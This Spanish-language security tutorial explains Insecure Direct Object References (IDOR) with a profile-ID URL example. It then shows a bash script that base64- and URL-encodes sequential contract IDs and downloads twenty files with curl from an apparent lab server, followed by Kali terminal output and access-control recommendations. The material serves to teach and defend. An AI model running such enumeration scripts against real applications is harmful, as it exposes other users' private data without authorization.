8 minuto(s) estimado(s) de lectura
Insecure Direct Object References (IDOR)
Control de acceso
Las vulnerabilidades de Referencias Directas a Objetos Inseguros (IDOR) son un tipo común de problema de seguridad en aplicaciones web. Estas ocurren cuando una aplicación web gestiona directamente referencias a objetos internos, como archivos o entradas de base de datos, a través de identificadores que son visibles y manipulables por el usuario, como en URLs o formularios.
Esto puede exponer a la aplicación a:
- Divulgación de información: Puedes acceder a datos sensibles de otros usuarios, como información financiera.
- Modificación no autorizada: Podrías alterar o eliminar datos de otros usuarios si la URL te permite realizar estas acciones.
- Elevación de privilegios: Si manipulas parámetros en la URL para acceder a funciones administrativas, podrías realizar acciones reservadas solo para los administradores.
Ejemplo
Una aplicación web te permite visualizar tu perfil mediante un enlace del tipo /profile/api.php/profile/1. Este enlace muestra directamente datos de tu perfil por medio de una API.
Si cambias el número de /profile/api.php/profile/1 en la URL a 4, podrías acceder a datos de otros usuarios registrados si la aplicación no verifica adecuadamente tus permisos.
Bypassing Encoded References
En muchos sistemas, los identificadores de objetos, como IDs de usuario o archivos, se transmiten en formatos codificados (por ejemplo, base64) para disfrazar la información o integrarse con tecnologías web de manera más fluida. Una vez que el atacante comprende cómo se estructuran los identificadores, puede modificarlos para intentar acceder a objetos a los que no debería tener acceso. Esto podría incluir cambiar un número de ID en un URL, parámetro de formulario o dentro de una cookie.
Consideremos el siguiente ejemplo, donde se identifica el parámetro contract. Como se observa, este parámetro está codificado para URL.
Para determinar el proceso de codificación, se puede analizar el código fuente. Esto permite comprender su funcionamiento y facilita la creación de un script que extraiga la información de manera efectiva.
- Codificación en base64: Usa el comando
echo -n $i | base64para convertir cada número a base64. - Codificación URL: Las cadenas base64 pueden contener los caracteres
+,/y=, los cuales necesitan ser codificados para URLs para prevenir problemas en la interpretación de la URL. - Construcción de la URL completa: Combina la URL base con la cadena codificada.
- Descarga del archivo: Usa
curlpara descargar el archivo y lo guarda con un nombre basado en el número de iteración.
#!/bin/bash
downloadContracts() {
base_url="http://94.237.54.214:45922/download.php?contract="
for i in {1..20}; do
# Codificar el número en base64
encoded=$(echo -n $i | base64)
# Codificar la salida base64 para URL (reemplaza '+' por '%2B', '/' por '%2F' y '=' por '%3D')
url_encoded=${encoded//+/%2B}
url_encoded=${url_encoded//\//%2F}
url_encoded=${url_encoded//=/%3D}
# Construir la URL completa
full_url="${base_url}${url_encoded}"
# Descargar el archivo
curl -o "contract_${i}.pdf" "${full_url}"
done
}
# Llamada a la función
downloadContracts
┌─[root@kali]─[/home/user/idor]
└──╼ chmod +x downloadcontracts.sh
┌─[root@kali]─[/home/user/idor]
└──╼ ./downloadcontracts.sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 30 100 30 0 0 72 0 --:--:-- --:--:-- --:--:-- 72
┌─[root@kali]─[/home/user/idor]
└──╼ ls
contract_10.pdf contract_12.pdf contract_14.pdf contract_16.pdf contract_18.pdf contract_1.pdf contract_2.pdf contract_4.pdf contract_6.pdf contract_8.pdf downloadcontracts.sh
contract_11.pdf contract_13.pdf contract_15.pdf contract_17.pdf contract_19.pdf contract_20.pdf contract_3.pdf contract_5.pdf contract_7.pdf contract_9.pdf
Recomendaciones
- Desarrollar un sistema robusto de control de acceso basado en roles (RBAC) para gestionar los permisos de los usuarios. Este sistema debe ser el núcleo de la aplicación y soportar la segmentación centralizada de roles y permisos.
- Asegurarse de que cada objeto y recurso en la aplicación esté asignado a roles específicos. Validar cada solicitud en el back-end para permitir o rechazar el acceso según los privilegios del rol del usuario.
- Los roles y privilegios del usuario deben gestionarse únicamente en el servidor, utilizando tokens de sesión seguros para autenticación y autorización.
- Implementar identificadores únicos y difíciles de adivinar, como UUIDs, para referenciar objetos en lugar de identificadores secuenciales o en texto claro.
- Generar y almacenar hashes de referencia de objetos en el servidor al momento de la creación del objeto. No calcular hashes en el front-end.
- Validar cada solicitud en el servidor para verificar que el usuario tiene los permisos adecuados antes de conceder acceso a cualquier recurso.






